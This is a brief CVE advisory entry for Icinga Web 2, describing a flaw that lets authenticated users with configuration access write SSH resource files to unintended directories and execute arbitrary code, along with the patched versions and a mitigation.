CVE-2022-24715
Description
Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Authenticated users, with access to the configuration, can create SSH resource files in unintended directories, leading to the execution of arbitrary code. This issue has been resolved in versions 2.8.6, 2.9.6 and 2.10 of Icinga Web 2. Users unable to upgrade should limit access to the Icinga Web 2 configuration.
